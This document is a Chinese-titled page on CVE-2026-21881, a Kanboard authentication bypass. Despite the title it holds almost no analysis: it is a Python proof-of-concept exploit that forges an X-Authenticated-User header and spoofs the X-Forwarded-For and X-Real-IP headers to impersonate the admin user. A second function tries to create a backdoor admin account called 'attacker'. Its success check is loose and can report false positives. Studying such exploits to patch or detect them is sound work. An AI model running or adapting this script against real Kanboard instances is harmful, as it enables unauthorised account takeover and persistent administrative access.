CVE-2026-21881 Kanboard认证绕过漏洞分析

import requests # CVE-2026-21881 PoC - Kanboard Authentication Bypass # Target: Kanboard with REVERSE_PROXY_AUTH enabled # This PoC demonstrates how an attacker can impersonate any user TARGET_URL = "http://target-kanboard.com/" TARGET_USER = "admin" # Can be any user including admin def exploit_auth_bypass(): """ Exploit the authentication bypass by sending a crafted HTTP header to impersonate a user without knowing their credentials. """ headers = { # Key header that triggers the vulnerability # Kanboard uses this header when REVERSE_PROXY_AUTH is enabled "X-Authenticated-User": TARGET_USER, # Additional headers that may be checked "X-Forwarded-For": "127.0.0.1", # Spoof trusted IP "X-Real-IP": "127.0.0.1", "User-Agent": "Mozilla/5.0" } # Try to access protected resources session = requests.Session() # Access the dashboard or API endpoints endpoints = [ "?controller=DashboardController&action=show", "?controller=UserViewController&action=show&user_id=1", "?controller=ConfigController&action=index" ] for endpoint in endpoints: try: response = session.get(TARGET_URL + endpoint, headers=headers, timeout=10) print(f"[*] Request to {endpoint}") print(f"[*] Status Code: {response.status_code}") # Check if we successfully impersonated the user if "admin" in response.text.lower() or response.status_code == 200: print("[+] Authentication bypass successful!") print("[+] User impersonation confirmed") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def create_admin_poc(): """ Alternative: Direct API call to create a new admin user Requires the authentication bypass to work first """ headers = { "X-Authenticated-User": "admin", "Content-Type": "application/json" } payload = { "controller": "UserCreationController", "action": "save", "username": "attacker", "password": "Attacker123!", "role": "admin" } response = requests.post(TARGET_URL, headers=headers, data=payload) return response.status_code == 200 if __name__ == "__main__": print("=" * 60) print("CVE-2026-21881 - Kanboard Authentication Bypass Exploit") print("=" * 60) exploit_auth_bypass()